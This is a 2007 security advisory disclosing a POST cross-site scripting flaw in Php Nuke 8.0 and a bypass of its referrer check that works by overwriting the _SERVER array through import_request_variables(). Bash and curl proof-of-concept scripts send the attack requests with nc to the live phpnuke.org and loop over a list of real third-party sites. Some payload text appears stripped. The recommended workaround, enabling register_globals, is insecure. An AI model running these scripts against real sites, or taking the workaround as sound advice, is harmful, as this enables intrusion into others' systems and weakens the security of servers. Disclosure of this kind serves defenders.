Php Nuke POST XSS on steroids Name Php Nuke POST XSS on steroids Systems Affected PHP >=4.0.7 <=5.2.1, GLOBALS OFF, Php Nuke 8.0 and others (partially verified) Severity Medium Vendor http://php nuke.org/ Advisory http://www.ush.it/2007/03/09/php-nuke-wild-post-xss/ Authors Francesco `ascii` Ongaro (ascii@ush.it) Stefano `wisec` di Paola (stefano.dipaola@wisec.it) Date 20070307 I. BACKGROUND Php Nuke is a CMS written in PHP. This advisory is just an example on how to exploit an XSS on platforms that use anti CSRF techniques with the import_request_variables() bypass. II. DESCRIPTION An XSS vulnerability exists in the handling of the query post variable in the Search function of the Downloads module. This is exploitable in special conditions; you need: - PHP >=4.0.7 <=5.2.1 to use the import_request_variables() trick - register_globals off (doesn't work with globals on) - Php Nuke 8 and others III. ANALYSIS Php Nuke 8.0 is vulnerable to an XSS on _POST, you can verify this using the provided testsuite. --- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > REQ << TOKEN POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1 Host: www.phpnuke.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://www.phpnuke.org/modules.php?name=Downloads Cookie: lang=english Content-Type: application/x-www-form-urlencoded Content-Length: 23 query=token<>token TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 $ ./testcase | grep "token<>token" DNS fwd/rev mismatch: www.phpnuke.org != ev1s-67-15-16-43.ev1servers.net www.phpnuke.org [67.15.16.43] 80 (http) open
token" method="post"> When you will try to apply CSRF to this bug (eg. you need a gateway page to send the post query) you'll notice that Php Nuke has a generic piece of code in mainfile.php that prevents posting with a "wrong" referrer. Test this with the following two testsuites: --- >8 --- >8 --- >8 --- >8 --- testsuit1.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > REQ << TOKEN POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1 Host: www.phpnuke.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://www.phpnuke.org/modules.php?name=Downloads Cookie: lang=english Content-Type: application/x-www-form-urlencoded Content-Length: 55 query="> TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- testsuit2.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > REQ << TOKEN POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1 Host: www.phpnuke.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://www.evil.com/ Cookie: lang=english Content-Type: application/x-www-form-urlencoded Content-Length: 55 query="> TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 In the first case the attack will succeed cause the referrer matches, in the second the anti-off-domain-post-check will block your attempt and you'll get a message like: Posting from another server not allowed! It seems that other versions have this check too. --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 for i in `cat urls.txt`; do echo $i; curl -s "http://$1/modules.php?name=Downloads&d_op=search" \ -d 'query=asd&query="token<"' \ -e "www.tin.it" -H "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1"; done; echo http://XXXXopic.it/ Posting from another server not allowed! http://XXXXnuke.org/ Posting from another server not allowed! http://XXXXir.it/ Posting from another server not allowed! http://XXXXesi.it/ Posting from another server not allowed! http://XXXXoft.it/ Posting from another server not allowed! --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 The initial part of mainfile.php can be synthesized as following: --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 // get php version $phpver = phpversion(); // convert superglobals if php is lower then 4.1.0 if ($phpver < '4.1.0') { [..cut..] } // override old superglobals if php is higher then 4.1.0 if($phpver >= '4.1.0') { [..cut..] } if (!ini_get('register_globals')) { @import_request_variables("GPC", ""); } [..] // Posting from other servers in not allowed if ($_SERVER['REQUEST_METHOD'] == "POST") { if (isset($_SERVER['HTTP_REFERER'])) { if (!stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) die('Posting from another server not allowed!'); } else die($posttags); } --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 So if globals are off using the import_request_variables() trick we can overwrite the _SERVER array and bypass the check (yes, you can do a lot of other things too, this is just an example). Use this code to replicate the issue: --- >8 --- >8 --- >8 --- >8 --- poc.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > testsuite.php << TOKEN TOKEN --- >8 --- >8 --- >8 --- >8 --- ------ --- >8 --- >8 --- >8 --- >8 $ curl "http://XXXX/hack-phpnuke8/testsuite.php" GLOBALS 0 IM THE PAGE! $ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post" GLOBALS 0 No referer! $ curl "http://XXXX/hack-phpnuke8/testsuite.php" -d "ima=post" \ -e "www.tin.it" GLOBALS 0 Posting from another server not allowed! $ curl "http://ascii.asciinb.vlan.ush.it/hack-phpnuke8/testsuite.php" \ -d "ima=post&_SERVER=evil" -e "www.tin.it" GLOBALS 0 IM THE PAGE! Doesn't this seems cyclic to you? stripos will return TRUE if the array element doesn't exists. IV. DETECTION Php Nuke 8.0 and others are affected, please test with the supplied testsuites. You can download Php Nuke from here : ) https://secure.bmtmicro.com/servlets/Orders.ShoppingCart?CID=4&PRODUCTID=19850011 V. WORKAROUND Turn globals on. VI. VENDOR RESPONSE Will fix, probably. VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20070307 Discovery 20070308 What do you expect here? 20070309 Full disclosure IX. CREDIT Francesco 'ascii' Ongaro is credited with the discovery of this vulnerability. X. LEGAL NOTICES Copyright (c) 2007 Francesco 'ascii' Ongaro Note: this exploit is DOUBLE LICENSED: 1. If you'll use it for personal and non-profit purposes you can apply GPL v2 and above. 2. In the case you plain to: a. use our code in any commercial context b. implement this code in your non-GPL application c. use this code during a Penetration Test d. make any profit from it you need to contact me in order to obtain a _commercial license_. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without my express written consense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. Regards, Francesco `ascii` Ongaro http://www.ush.it/